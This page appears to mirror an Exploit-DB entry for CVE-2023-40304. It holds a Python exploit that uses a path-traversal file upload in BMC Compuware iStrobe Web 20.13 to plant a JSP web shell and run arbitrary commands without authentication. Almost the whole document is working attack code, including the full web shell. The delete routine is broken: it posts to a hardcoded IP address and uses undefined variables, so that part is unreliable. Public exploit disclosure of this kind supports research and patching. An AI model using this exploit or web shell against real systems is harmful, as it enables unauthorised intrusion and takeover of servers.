BMC Compuware iStrobe Web – 20.13 – Pre-auth RCE

Exploit Database
127 阅读

作者： trancap

日期： 2024-04-13
类别：
- webapps
平台：
- jsp
来源：https://www.exploit-db.com/exploits/51991/

#!/usr/bin/env python3

# Exploit Title: Pre-auth RCE on Compuware iStrobe Web

# Date: 01-08-2023

# Exploit Author: trancap

# Vendor Homepage: https://www.bmc.com/

# Version: BMC Compuware iStrobe Web - 20.13

# Tested on: zOS# CVE : CVE-2023-40304

# To exploit this vulnerability you'll need "Guest access" enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path traversal and an arbitrary file upload (.jsp files)

# The vulnerable parameter of the form is "fileName". Using the form, one can upload a webshell (content of the webshell in the "topicText" parameter).# I contacted the vendor but he didn't consider this a vulnerability because of the Guest access needed.

import requests

import urllib.parse

import argparse

import sys

def upload_web_shell(url):

data = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"open","topicText":"<%@

page import=\"java.lang.*,java.io.*,java.util.*\" %><%Process

p=Runtime.getRuntime().exec(request.getParameter(\"cmd\"));BufferedReader

stdInput = new BufferedReader(new

InputStreamReader(p.getInputStream()));BufferedReader stdError = new

BufferedReader(new InputStreamReader(p.getErrorStream()));String

s=\"\";while((s=stdInput.readLine()) !=

null){out.println(s);};s=\"\";while((s=stdError.readLine()) !=

null){out.println(s);};%>","lang":"en","type":"MODULE","status":"PUB"}

# If encoded, the web shell will not be uploaded properly

data = urllib.parse.urlencode(data, safe='"*<>,=()/;{}!')

# Checking if web shell already uploaded

r = requests.get(f"{url}/istrobe/jsp/userhelp/ws.jsp", verify=False)

if r.status_code != 404:

return

r = requests.post(f"{url}/istrobe/userHelp/saveUserHelp", data=data,

verify=False)

if r.status_code == 200:

print(f"[+] Successfully uploaded web shell, it should be

accessible at {url}/istrobe/jsp/userhelp/ws.jsp")

else:

sys.exit("[-] Something went wrong while uploading the web shell")

def delete_web_shell(url):

paramsPost = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"delete","lang":"en","type":"MODULE","status":"PUB"}

response = session.post("http://220.4.147.38:6301/istrobe/userHelp/deleteUserHelp",

data=paramsPost, headers=headers, cookies=cookies)

if r.status_code == 200:

print(f"[+] Successfully deleted web shell")

else:

sys.exit("[-] Something went wrong while deleting the web shell")

def run_cmd(url, cmd):

data = f"cmd={cmd}"

r = requests.post(f"{url}/istrobe/jsp/userhelp/ws.jsp", data=data,

verify=False)

if r.status_code == 200:

print(r.text)

else:

sys.exit(f'[-] Something went wrong while executing "{cmd}" command')

parser = argparse.ArgumentParser(prog='exploit_cve_2023_40304.py', description='CVE-2023-40304 - Pre-auth file upload vulnerability + path traversal to achieve RCE')

parser.add_argument('url', help='Vulnerable URL to target. Must be like http(s)://vuln.target')

parser.add_argument('-c', '--cmd', help='Command to execute on the remote host (Defaults to "whoami")', default='whoami')

parser.add_argument('--rm', help='Deletes the uploaded web shell', action='store_true')

args = parser.parse_args()

upload_web_shell(args.url)

run_cmd(args.url, args.cmd)

if args.rm:

delete_web_shell(args.url)